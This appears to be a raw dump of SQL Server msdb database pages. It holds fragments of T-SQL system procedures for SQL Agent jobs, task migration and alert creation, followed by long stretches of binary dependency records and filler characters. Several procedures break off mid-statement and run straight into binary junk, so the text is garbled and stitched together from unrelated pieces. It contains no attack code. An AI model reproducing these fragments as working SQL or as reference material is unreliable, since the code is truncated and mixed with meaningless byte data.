    IF (@job_aspect NOT IN ('JOB', 'STEPS', 'SCHEDULES', 'TARGETS', 'ALL'))
    BEGIN
      RAISERROR(14266, -1, -1, '@job_aspect', 'JOB, STEPS, SCHEDULES, TARGETS, ALL')
      RETURN(1) -- Failure
    END

    -- Generate results set...

    IF (@job_aspect IN ('JOB', 'ALL'))
    BEGIN
      IF (@job_aspect = 'ALL')
      BEGIN
        RAISERROR(14213, 0, 1)
        PRINT REPLICATE('=', DATALENGTH(FORMATMESSAGE(14213)) / 2)
      END
      EXECUTE sp_get_composite_job_info @job_id,
                                        @job_type,
                                        @owner_login_name,
                                        @subsystem,
                                        @category_id,
                                        @enabled,
                                        @execution_status,
                                        @date_comparator,
                                        @date_created,
                                        @date_last_modified,
                                        @description
    END

    IF (@job_aspect IN ('STEPS', 'ALL'))
    BEGIN
      IF (@job_aspect = 'ALL')
      BEGIN
        PRINT ''
        RAISERROR(14214, 0, 1)
        PRINT REPLICATE('=', DATALENGTH(FORMATMESSAGE(14214)) / 2)
      END
      EXECUTE ('EXECUTE sp_help_jobstep @job_id = ''' + @job_id_as_char + ''', @suffix = 1')
    END

    IF (@job_aspect IN ('SCHEDULES', 'ALL'))
    BEGIN
      IF (@job_aspect = 'ALL')
      BEGIN
        PRINT ''
        RAISERROR(14215, 0, 1)
        PRINT REPLICATE('=', DATALENGTH(FORMATMESSAGE(14215)) / 2)
      END
      EXECUTE ('EXECUTE sp_help_jobschedule @job_id = ''' + @job_id_as_char + '''')
    END

    IF (@job_aspect IN ('TARGETS', 'ALL'))
    BEGIN
      IF (@job_aspect = 'ALL')
      BEGIN
        PRINT ''
        RAISERROR(14216, 0, 1)
        PRINT REPLICATE('=', DATALENGTH(FORMATMESSAGE(14216)) / 2)
      END
      EXECUTE ('EXECUTE sp_help_jobserver @job_id = ''' + @job_id_as_char + ''', @show_last_run_details = 1')
    END
  END
  ELSE
  BEGIN
    -- Set of jobs...

    -- Check job type
    IF (@job_type IS NOT NULL)
    BEGIN
      SELECT @job_type = UPPER(@job_type collate SQL_Latin1_General_CP1_CS_AS)
      IF (@job_type NOT IN ('LOCAL', 'MULTI-SERVER'))
      BEGIN
        RAISERROR(14266, -1, -1, '@job_type', 'LOCAL, MULTI-SERVER')
        RETURN(1) -- Failure
      END
    END

    -- Check owner
    IF (@owner_login_name IS NOT NULL)
    BEGIN
      IF (SUSER_SID(@owner_login_name, 0) IS NULL)--force case insensitive comparation for NT users
      BEGIN
        RAISERROR(14262, -1, -1, '@owner_login_name', @owner_login_name)
        RETURN(1) -- Failure
      END
    END

    -- Check subsystem
    IF (@subsystem IS NOT NULL)
    BEGIN
      EXECUTE @retval = sp_verify_subsystem @subsystem
      IF (@retval <> 0)
        RETURN(1) -- Failure
    END

    -- Check job category
    IF (@category_name IS NOT NULL)
    BEGIN
      SELECT @category_id = category_id
      FROM msdb.dbo.syscategories
      WHERE (category_class = 1) -- Job
        AND (name = @category_name)
      IF (@category_id IS NULL)
      BEGIN
        RAISERROR(14262, -1, -1, '@category_name', @category_name)
        RETURN(1) -- Failure
      END
    END

    -- Check enabled state
    IF (@enabled IS NOT NULL) AND (@enabled NOT IN (0, 1))
    BEGIN
      RAISERROR(14266, -1, -1, '@enabled', '0, 1')
      RETURN(1) -- Failure
    END

    -- Check current execution status
    IF (@execution_status IS NOT NULL)
    BEGIN
      IF (@execution_status NOT IN (0, 1, 2, 3, 4, 5, 7))
      BEGIN
        SELECT @res_valid_range = FORMATMESSAGE(14204)
        RAISERROR(14266, -1, -1, '@execution_status', @res_valid_range)
        RETURN(1) -- Failure
      END
    END

    -- If a date comparator is supplied, we must have either a date-created or date-last-modified
    IF ((@date_comparator IS NOT NULL) AND (@date_created IS NOT NULL) AND (@date_last_modified IS NOT NULL)) OR
       ((@date_comparator IS NULL)     AND ((@date_created IS NO!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(n$f!v/CREATE PROCEDURE sp_addtask
  @name                   sysname,               -- Was VARCHAR(100) in 6.x
  @subsystem              NVARCHAR(40)   = N'TSQL', -- Was VARCHAR(30) in 6.x
  @server                 sysname        = NULL,
  @username               sysname        = NULL, -- Was VARCHAR(30) in 6.x
  @databasename           sysname        = NULL, -- Was VARCHAR(30) in 6.x
  @enabled                TINYINT        = 0,
  @freqtype               INT            = 2,    -- 2 means OnDemand
  @freqinterval           INT            = 1,
  @freqsubtype            INT            = 1,
  @freqsubinterval        INT            = 1,
  @freqrelativeinterval   INT            = 1,
  @freqrecurrencefactor   INT            = 1,
  @activestartdate        INT            = 0,
  @activeenddate          INT            = 0,
  @activestarttimeofday   INT            = 0,
  @activeendtimeofday     INT            = 0,
  @nextrundate            INT            = 0,
  @nextruntime            INT            = 0,
  @runpriority            INT            = 0,
  @emailoperatorname      sysname        = NULL, -- Was VARCHAR(50) in 6.x
  @retryattempts          INT            = 0,
  @retrydelay             INT            = 10,
  @command                NVARCHAR(max) = NULL,
  @loghistcompletionlevel INT            = 2,
  @emailcompletionlevel   INT            = 0,
  @description            NVARCHAR(512)  = NULL, -- Was VARCHAR(255) in 6.x
  @tagadditionalinfo      VARCHAR(96)    = NULL, -- Obsolete in 7.0
  @tagobjectid            INT            = NULL, -- Obsolete in 7.0
  @tagobjecttype          INT            = NULL, -- Obsolete in 7.0
  @newid                  INT            = NULL OUTPUT,
  @parameters             NVARCHAR(max)  = NULL, -- Was TEXT in 6.x
  @cmdexecsuccesscode     INT            = 0,
  @category_name          sysname        = NULL, -- New for 7.0
  @category_id            INT            = NULL  -- New for 7.0
AS
BEGIN
  DECLARE @retval INT
  DECLARE @job_id UNIQUEIDENTIFIER
  DECLARE @id     INT
  DECLARE @distdb sysname
  DECLARE @proc nvarchar(255)

  SET NOCOUNT ON

  SELECT @retval = 1 -- 0 means success, 1 means failure

  -- Set 7.0 category names for 6.5 replication tasks
  IF (LOWER(@subsystem) = N'sync')
    SELECT @category_id = 15
  ELSE IF (LOWER(@subsystem) = N'logreader')
    SELECT @category_id = 13
  ELSE IF (LOWER(@subsystem) = N'distribution')
    SELECT @category_id = 10

  -- Convert old replication synchronization subsystem name to the 7.0 name
  IF (LOWER(@subsystem) = N'sync')
    SELECT @subsystem = N'Snapshot'

  -- If a category ID is provided this overrides any supplied category name
  IF (@category_id IS NOT NULL)
  BEGIN
    SELECT @category_name = name
    FROM msdb.dbo.syscategories
    WHERE (category_id = @category_id)
    SELECT @category_name = ISNULL(@category_name, FORMATMESSAGE(14205))
  END

  -- In 6.x active start date was not restricted, but it is in 7.0; so to avoid a "noisey"
  -- failure in sp_add_jobschedule we modify the value accordingly
  IF ((@activestartdate <> 0) AND (@activestartdate < 19900101))
    SELECT @activestartdate = 19900101

  BEGIN TRANSACTION

    -- Add the job
    EXECUTE @retval = sp_add_job
      @job_name                   = @name,
      @enabled                    = @enabled,
      @start_step_id              = 1,
      @description                = @description,
      @category_name              = @category_name,
      @notify_level_eventlog      = @loghistcompletionlevel,
      @notify_level_email         = @emailcompletionlevel,
      @notify_email_operator_name = @emailoperatorname,
      @job_id                     = @job_id OUTPUT

    IF (@retval <> 0)
    BEGIN
      ROLLBACK TRANSACTION
      GOTO Quit
    END

    -- Add an entry to systaskids for the new job (created by a 6.x client)
    INSERT INTO msdb.dbo.systaskids (job_id) VALUES (@job_id)

    -- Get the assigned task id
    SELECT @id = task_id, @newid = task_id
    FROM msdb.dbo.systaskids
    WHERE (job_id = @job_id)

    -- Add the job step
    EXECUTE @retval = sp_add_jobstep
      @job_id                = @job_id,
      @step_id               = 1,
      @step_name             = N'Step 1',
      @subsystem             = @subsystem,
      @command               = @command,
      @additional_parameters = @parameters,
      @cmdexec_success_code  = @cmdexecsuccesscode,
      @server                = @server,
      @database_name         = @databasename,
      @database_user_name    = @username,
      @retry_attempts        = @retryattempts,
      @retry_interval        = @retrydelay,
      @os_run_priority       = @runpriority

    IF (@retval <> 0)
    BEGIN
      ROLLBACK TRANSACTION
      GOTO Quit
    END

    -- Add the job schedule
    IF (@activestartdate = 0)
      SELECT @activestartdate = NULL
    IF (@activeenddate = 0)
      SELECT @activeenddate = NULL
    IF (@activestarttimeofday = 0)
      SELECT @activestarttimeofday = NULL
    IF (@activeendtimeofday = 0)
      SELECT @activeendtimeofday = NULL
    IF (@freqtype <> 0x2) -- OnDemand tasks simply have no schedule in 7.0
    BEGIN
      EXECUTE @retval = sp_add_jobschedule
        @job_id                 = @job_id,
        @name                   = N'6.x schedule',
        @enabled                = 1,
        @freq_type              = @freqtype,
        @freq_interval          = @freqinterval,
        @freq_subday_type       = @freqsubtype,
        @freq_subday_interval   = @freqsubinterval,
        @freq_relative_interval = @freqrelativeinterval,
        @freq_recurrence_factor = @freqrecurrencefactor,
        @active_start_date      = @activestartdate,
        @active_end_date        = @activeenddate,
        @active_start_time      = @activestarttimeofday,
        @active_end_time        = @activeendtimeofday

      IF (@retval <> 0)
      BEGIN
        ROLLBACK TRANSACTION
        GOTO Quit
      END
    END

    -- And finally, add the job server
    EXECUTE @retval = sp_add_jobserver @job_id = @job_id, @server_name = NULL

    IF (@retval <> 0)
    BEGIN
      ROLLBACK TRANSACTION
      GOTO Quit
    END

    -- Add the replication agent for monitoring
    IF (@category_id = 13) -- Logreader
    BEGIN
      SELECT @distdb = distribution_db from MSdistpublishers where name = @server
      SELECT @proc = @distdb + '.dbo.sp_MSadd_logreader_agent'

      EXECUTE @retval = @proc
        @name = @name,
        @publisher = @server,
        @publisher_db = @databasename,
        @publication = '',
        @local_job = 1,
        @job_existing = 1,
        @job_id = @job_id

      IF (@retval <> 0)
      BEGIN
        ROLLBACK TRANSACTION
        GOTO Quit
      END
    END
    ELSE
    IF (@category_id = 15) -- Snapshot
    BEGIN
      DECLARE @publication sysname

      EXECUTE @retval = master.dbo.sp_MSget_publication_from_taskname
                            @taskname = @name,
                            @publisher = @server,
                            @publisherdb = @databasename,
                            @publication = @publication OUTPUT

      IF (@publication IS NOT NULL)
      BEGIN

        SELECT @distdb = distribution_db from MSdistpublishers where name = @server
        SELECT @proc = @distdb + '.dbo.sp_MSadd_snapshot_agent'

        EXECUTE @retval = @proc
                @name = @name,
                @publisher = @server,
                @publisher_db = @databasename,
                @publication = @publication,
                @local_job = 1,
                @job_existing = 1,
                @snapshot_jobid = @job_id

        IF (@retval <> 0)
        BEGIN
          ROLLBACK TRANSACTION
          GOTO Quit
        END

        SELECT @proc = @distdb + '.dbo.sp_MSadd_publication'
        EXECUTE @retval = @proc
                @publisher = @server,
      !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(o$@\v+hCREATE PROCEDURE sp_add_alert_internal
  @name                         sysname,
  @message_id                   INT              = 0,
  @severity                     INT              = 0,
  @enabled                      TINYINT          = 1,
  @delay_between_responses      INT              = 0,
  @notification_message         NVARCHAR(512)    = NULL,
  @include_event_description_in TINYINT          = 5,    -- 0 = None, 1 = Email, 2 = Pager, 4 = NetSend, 7 = All
  @database_name                sysname          = NULL,
  @event_description_keyword    NVARCHAR(100)    = NULL,
  @job_id                       UNIQUEIDENTIFIER = NULL, -- If provided must NOT also provide job_name
  @job_name                     sysname          = NULL, -- If provided must NOT also provide job_id
  @raise_snmp_trap              TINYINT          = 0,
  @performance_condition        NVARCHAR(512)    = NULL, -- New for 7.0
  @category_name                sysname          = NULL, -- New for 7.0
 @wmi_namespace                NVARCHAR(512)     = NULL, -- New for 9.0
  @wmi_query                    NVARCHAR(512)     = NULL, -- New for 9.0
  @verify_alert                    TINYINT             = 1     -- 0 = do not verify alert, 1(or anything else) = verify alert before adding
AS
BEGIN
  DECLARE @event_source           NVARCHAR(100)
  DECLARE @event_category_id      INT
  DECLARE @event_id               INT
  DECLARE @last_occurrence_date   INT
  DECLARE @last_occurrence_time   INT
  DECLARE @last_notification_date INT
  DECLARE @last_notification_time INT
  DECLARE @occurrence_count       INT
  DECLARE @count_reset_date       INT
  DECLARE @count_reset_time       INT
  DECLARE @has_notification       INT
  DECLARE @return_code            INT
  DECLARE @duplicate_name         sysname
  DECLARE @category_id            INT
  DECLARE @alert_id               INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @name                      = LTRIM(RTRIM(@name))
  SELECT @notification_message      = LTRIM(RTRIM(@notification_message))
  SELECT @database_name             = LTRIM(RTRIM(@database_name))
  SELECT @event_description_keyword = LTRIM(RTRIM(@event_description_keyword))
  SELECT @job_name                  = LTRIM(RTRIM(@job_name))
  SELECT @performance_condition     = LTRIM(RTRIM(@performance_condition))
  SELECT @category_name             = LTRIM(RTRIM(@category_name))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@notification_message      = N'') SELECT @notification_message = NULL
  IF (@database_name             = N'') SELECT @database_name = NULL
  IF (@event_description_keyword = N'') SELECT @event_description_keyword = NULL
  IF (@job_name                  = N'') SELECT @job_name = NULL
  IF (@performance_condition     = N'') SELECT @performance_condition = NULL
  IF (@category_name             = N'') SELECT @category_name = NULL

  SELECT @message_id = ISNULL(@message_id, 0)
  SELECT @severity = ISNULL(@severity, 0)

  -- Only a sysadmin can do this
  IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1))
  BEGIN
    RAISERROR(15003, 16, 1, N'sysadmin')
    RETURN(1) -- Failure
  END

  -- Check if SQLServerAgent is in the process of starting
  EXECUTE @return_code = msdb.dbo.sp_is_sqlagent_starting
  IF (@return_code <> 0)
    RETURN(1) -- Failure

  -- Hard-code the new Alert defaults
  -- event source needs to be instance aware
  DECLARE @instance_name sysname
  SELECT @instance_name = CONVERT (sysname, SERVERPROPERTY ('InstanceName'))
  IF (@instance_name IS NULL OR @instance_name = N'MSSQLSERVER')
    SELECT @event_source  = N'MSSQLSERVER'
  ELSE
    SELECT @event_source  = N'MSSQL$' + @instance_name

  SELECT @event_category_id = NULL
  SELECT @event_id = NULL
  SELECT @last_occurrence_date = 0
  SELECT @last_occurrence_time = 0
  SELECT @last_notification_date = 0
  SELECT @last_notification_time = 0
  SELECT @occurrence_count = 0
  SELECT @count_reset_date = 0
  SELECT @count_reset_time = 0
  SELECT @has_notification = 0
  
  IF (@category_name IS NULL)
  BEGIN
    --Default category_id for alerts
    SELECT @category_id = 98

    SELECT @category_name = name
    FROM msdb.dbo.syscategories
    WHERE (category_id = 98)
  END

  -- Map a job_id of 0 to the real value we use to mean 'no job'
  IF (@job_id = CONVERT(UNIQUEIDENTIFIER, 0x00)) AND (@job_name IS NULL)
    SELECT @job_name = N''

  -- Verify the Alert if @verify_alert <> 0
  IF (@verify_alert <> 0)
  BEGIN
    IF (@job_id = CONVERT(UNIQUEIDENTIFIER, 0x00))
        SELECT @job_id = NULL
    EXECUTE @return_code = sp_verify_alert @name,
                                            @message_id,
                                            @severity,
                                            @enabled,
                                            @delay_between_responses,
                                            @notification_message,
                                            @include_event_description_in,
                                            @database_name,
                                            @event_description_keyword,
                                            @job_id OUTPUT,
                                            @job_name OUTPUT,
                                            @occurrence_count,
                                            @raise_snmp_trap,
                                            @performance_condition,
                                            @category_name,
                                            @category_id OUTPUT,
                                            @count_reset_date,
                                            @count_reset_time,
                                            @wmi_namespace,
                                            @wmi_query,
                                            @event_id OUTPUT
    IF (@return_code <> 0)
    BEGIN
        RETURN(1) -- Failure
    END
  END

  -- For WMI alerts replace 
  -- database_name with wmi_namespace and 
  -- performance_conditon with wmi_query
  -- so we can store them in those columns in sysalerts table
  IF (@event_id = 8)
  BEGIN
    SELECT @database_name = @wmi_namespace
    SELECT @performance_condition = @wmi_query
  END
  
  -- Check if this Alert already exists
  SELECT @duplicate_name = FORMATMESSAGE(14205)
  SELECT @duplicate_name = name
  FROM msdb.dbo.sysalerts
  WHERE ((event_id = 8) AND 
       (ISNULL(performance_condition, N'') = ISNULL(@performance_condition, N'')) AND
       (ISNULL(database_name, N'') = ISNULL(@database_name, N''))) OR
      ((ISNULL(event_id,1) <> 8) AND 
       (ISNULL(performance_condition, N'apples') = ISNULL(@performance_condition, N'oranges'))) OR 
      ((performance_condition IS NULL) AND
         (message_id = @message_id) AND
         (severity = @severity) AND
         (ISNULL(database_name, N'') = ISNULL(@database_name, N'')) AND
         (ISNULL(event_description_keyword, N'') = ISNULL(@event_description_keyword, N'')))
  IF (@duplicate_name <> FORMATMESSAGE(14205))
  BEGIN
    RAISERROR(14501, 16, 1, @duplicate_name)
    RETURN(1) -- Failure
  END
  
  -- Finally, do the actual INSERT
  INSERT INTO msdb.dbo.sysalerts
         (name,
          event_source,
          event_category_id,
          event_id,
          message_id,
          severity,
          enabled,
          delay_between_responses,
          last_occurrence_date,
          last_occurrence_time,
          last_response_date,
          last_response_time,
          notification_message,
          include_event_description,
          database_name,
          event_description_keyword,
          occurrence_count,
          count_reset_date,
          count_reset_time,
          job_id,
          has_notification,
          flags,
          performance_condition,
          category_id)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`vKbpM2:̹c0^	@>DLsystargetserversdbomsdb0-~_	@DJVxp_instance_regreaddbomaster0-~_	@FLXxp_instance_regwritedbomaster0-~_	@8>Fsysjobhistorydbomsdb0Qr`	@6<Dsysjobs_viewdbomsdb0Qr`	@,2:sysjobsdbomsdb0Qr`	p<MSdistributiondbs0Qr`	p>sp_verify_job_time0Qr`	pJsp_verify_jobproc_caller0Qr`	@PV^sp_jobhistory_row_limiterdbomsdb0Qr`	@8>Fsysjobhistorydbomsdb0Qr`	@:@Hsysjobactivitydbomsdb0Qr`		p>sp_verify_job_date0Qr`
	@6<Dsysoperatorsdbomsdb0Qr`	p0sysjobsteps0Qr`	@4:Bsysjobstepsdbomsdb0WZb	@>DLsystargetserversdbomsdb0WZb	@<BJsysdownloadlistdbomsdb0Nc	@28Dxp_regreaddbomaster0Nc	@4:Fxp_cmdshelldbomaster0Bd	@,2:sysjobsdbomsdb0Bd	@8>Fsyscategoriesdbomsdb0Bd	@8>Fsysjobserversdbomsdb0Bd	pLsp_verify_job_identifiers0Bd	@<BJsysdownloadlistdbomsdb07e	@>DLsystargetserversdbomsdb07e	@<BJsysdownloadlistdbomsdb0#I_	@PV^sysmail_verify_profile_spdbomsdb0#I_	@<BJsysmail_profiledbomsdb0G=`	@@FNsysmail_mailitemsdbomsdb0G=`	@PV^sysmail_verify_profile_spdbomsdb0G=`	p@sysmail_unsentitems0G=`	`:@sysmail_profiledbo0G=`	@<BJsysmail_profiledbomsdb0k1a	@PV^sysmail_verify_profile_spdbomsdb0k1a	@<BJsysmail_profiledbomsdb0e	@\bjsysmail_verify_addressparams_spdbomsdb0e	@:@Hsysmail_serverdbomsdb0e	@`fnsysmail_create_user_credential_spdbomsdb0e	@\bjsysmail_verify_accountparams_spdbomsdb0e	@<BJsysmail_accountdbomsdb0!e	@^dlsysmail_alter_user_credential_spdbomsdb0!e	@`fnsysmail_create_user_credential_spdbomsdb0!e	@<BJsysmail_accountdbomsdb0X_	@,2:sysjobsdbomsdb0X_	@8>Fsp_delete_jobdbomsdb0=`	@djrsp_delete_log_shipping_monitor_jobsdbomsdb0=`	@JPXlog_shipping_primariesdbomsdb0=`	@NT\log_shipping_secondariesdbomsdb0a`	@NT\log_shipping_secondariesdbomsdb0uc	p^sp_log_shipping_get_date_from_file0uc	@LRZsp_log_shipping_in_syncdbomsdb0uc	@JPXlog_shipping_primariesdbomsdb0uc	@NT\log_shipping_secondariesdbomsdb0d	@JPXlog_shipping_primariesdbomsdb0d	@NT\log_shipping_secondariesdbomsdb0e	@JPXlog_shipping_primariesdbomsdb0e	@NT\log_shipping_secondariesdbomsdb0W`	`^dsyscollector_tsql_query_collectordbo0{a	p8sysssispackages0{a	`FLsp_ssis_deletepackagedbo0b	p8sysssispackages0b	pHsp_ssis_setpackageroles0b	`V\syscollector_collection_itemsdbo0b	`^dsyscollector_tsql_query_collectordbo0b	`TZsyscollector_collection_setsdbo0Kģc	`:@sysssispackagesdbo0Kģc	`^dsyscollector_tsql_query_collectordbo0d	p(sysjobs0d	`6<sp_delete_jobdbo0d	p`syscollector_execution_log_internal0d	p^syscollector_config_store_internal0d	pdsyscollector_collection_sets_internal0d	pRsyscollector_collection_sets0=)_	`hnsyspolicy_system_health_state_internaldbodbomsdb0JEf	@<BJsysmail_accountdbomsdb0ig	@PV^sysmail_verify_account_spdbomsdb0ig	@:@Hsysmail_serverdbomsdb0ig	@<BJsysmail_accountdbomsdb0h	@PV^sysmail_verify_account_spdbomsdb0h	@:@Hsysmail_serverdbomsdb0h	@<BJsysmail_accountdbomsdb0i	@PV^sysmail_verify_profile_spdbomsdb0i	@PV^sysmail_verify_account_spdbomsdb0i	@JPXsysmail_profileaccountdbomsdb0.ֺj	@PV^sysmail_verify_profile_spdbomsdb0.ֺj	@PV^sysmail_verify_account_spdbomsdb0.ֺj	@JPXsysmail_profileaccountdbomsdb0gk	@PV^sysmail_verify_profile_spdbomsdb0gk	@PV^sysmail_verify_account_spdbomsdb0gk	@JPXsysmail_profileaccountdbomsdb0X_	@,2:sysjobsdbomsdb0X_	@8>Fsp_delete_jobdbomsdb0=`	@djrsp_delete_log_shipping_monitor_jobsdbomsdb0=`	@JPXlog_shipping_primariesdbomsdb0=`	@NT\log_shipping_secondariesdbomsdb0a`	@NT\log_shipping_secondariesdbomsdbf
.

l|*0|nH
>
L$XRbL*XP,	P
8hP@Z(		h	|fZ2

`rs4b
qE<A7"10Mm	p>sp_verify_job_time0Mm	@8>Fsyscategoriesdbomsdb0Mm	@6<Dsysoperatorsdbomsdb0<qn	p>sp_verify_operator0<qn	@8>Fsyscategoriesdbomsdb0<qn	@6<Dsysoperatorsdbomsdb0uo	p>sp_verify_operator0uo	@8>Fsyscategoriesdbomsdb0uo	@>DLsystargetserversdbomsdb0uo	@DJVxp_instance_regreaddbomaster0uo	@FLXxp_instance_regwritedbomaster0o	@8>Fsyscategoriesdbomsdb0uo	@HNVsp_post_msx_operationdbomsdb0uo	@6<Dsysoperatorsdbomsdb0uo	@BHPsp_sqlagent_notifydbomsdb0p	@8>Fsyscategoriesdbomsdb0p	@6<Dsysoperatorsdbomsdb0ݜq	@6<Dsysjobs_viewdbomsdb0ݜq	@6<Dsysoperatorsdbomsdb0gn	@HNVsysmail_configurationdbomsdb0Ko	@HNVsysmail_configurationdbomsdb0sp	@PV^sysmail_verify_profile_spdbomsdb0sp	@TZbsysmail_verify_principal_spdbomsdb0sp	@NT\sysmail_principalprofiledbomsdb0gq	@PV^sysmail_verify_profile_spdbomsdb0gq	@TZbsysmail_verify_principal_spdbomsdb0gq	@NT\sysmail_principalprofiledbomsdb0!Jo	@<BJsysssispackagesdbomsdb0!Jo	pDsysmaintplan_subplans0!Jo	p4sysjobservers0R!n	@tzsysmanagement_shared_server_groups_internaldbomsdb0R!n	@~sysmanagement_shared_registered_servers_internaldbomsdb0vo	@~sysmanagement_shared_registered_servers_internaldbomsdb0ip	@tzsysmanagement_shared_server_groups_internaldbomsdb0ip	pnsp_sysmanagement_verify_shared_server_type0Hm	ppsyspolicy_policy_execution_history_internal0Hm	`V\sp_syspolicy_check_membershipdbo0ln	psyspolicy_policy_execution_history_details_internal0ln	ppsyspolicy_policy_execution_history_internal0ln	`V\sp_syspolicy_check_membershipdbo0o	ppsyspolicy_policy_execution_history_internal0o	`V\sp_syspolicy_check_membershipdbo0?p	pnsp_syspolicy_verify_object_set_identifiers0?p	pfsp_syspolicy_verify_policy_identifiers0?p	pPsyspolicy_policies_internal0?p	@TZbsyspolicy_policies_internaldbomsdb0?p	pVsyspolicy_object_sets_internal0?p	@Z`hsyspolicy_object_sets_internaldbomsdb0?p	pTsyspolicy_conditions_internal0?p	@X^fsyspolicy_conditions_internaldbomsdb0?p		plsp_syspolicy_verify_condition_identifiers0?p
	`V\sp_syspolicy_check_membershipdbobomsdb0Jyt	@06>sysalertsdbomsdb0Jyt	@6<Dsysoperatorsdbomsdb0nmu	@>DLsysnotificationsdbomsdb0nmu	@JPXsp_verify_notificationdbomsdb0nmu	@06>sysalertsdbomsdb0nmu	@BHPsp_sqlagent_notifydbomsdb0av	@>DLsysnotificationsdbomsdb0av	pFsp_verify_notification0av	@06>sysalertsdbomsdb0av	@BHPsp_sqlagent_notifydbomsdb0=Uw	@>DLsysnotificationsdbomsdb0=Uw	pFsp_verify_notification0=Uw	@06>sysalertsdbomsdb0=Uw	@BHPsp_sqlagent_notifydbomsdb0vIx	@06>sysalertsdbomsdb0vIx	@6<Dsysoperatorsdbomsdb0=y	@6<Dsysjobs_viewdbomsdb0=y	p0syssessions0=y	@8>Fsysjobhistorydbomsdb0=y	@:@Hsysjobactivitydbomsdb0=y	pLsp_verify_job_identifiers0#2z	@>DLsysnotificationsdbomsdb0#2z	@06>sysalertsdbomsdb0!H&{	@>DLsysnotificationsdbomsdb0!H&{	@06>sysalertsdbomsdb0Zl|	@28Dspt_valuesdbomaster0}	@28Dspt_valuesdbomaster0~	@>DLsystargetserversdbomsdb0~	@6<Dsysjobs_viewdbomsdb0~	@8>Fsysjobhistorydbomsdb0~	@8>Fsysjobserversdbomsdb0~	@6<Dsysoperatorsdbomsdb0gn	@HNVsysmail_configurationdbomsdb0Ko	@HNVsysmail_configurationdbomsdb0sp	@PV^sysmail_verify_profile_spdbomsdb0sp	@TZbsysmail_verify_principal_spdbomsdb0sp	@NT\sysmail_principalprofiledbomsdb0gq	@PV^sysmail_verify_profile_spdbomsdb0gq	@TZbsysmail_verify_principal_spdbomsdb0gq	@NT\sysmail_principalprofiledbomsdb0[r	@PV^sysmail_verify_profile_spdbomsdb0[r	@TZbsysmail_verify_principal_spdbomsdb0!Jo	@<BJsysssispackagesdbomsdb0!Jo	pDsysmaintplan_subplans0!Jol(x8
rJ\2.\n
ht
.N"	d
,

f(V		P`vqb>rE	~@0k	@>DLsysnotificationsdbomsdb0l	@<BJsysmail_profiledbomsdb0l	@JPXsysmail_profileaccountdbomsdb0l	@PV^sysmail_verify_account_spdbomsdb0l	@PV^sysmail_verify_profile_spdbomsdb0(l	@06>sysalertsdbomsdb0l	@<BJsysmail_accountdbomsdb0Bm	@HNVsysmail_configurationdbomsdb0"l	`syspolicy_policy_execution_history_details_internaldbo0[$l	`hnsp_syspolicy_verify_policy_identifiersdbo0[$l	ppsyspolicy_policy_execution_history_internal0[$l	`V\sp_syspolicy_check_membershipdbo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!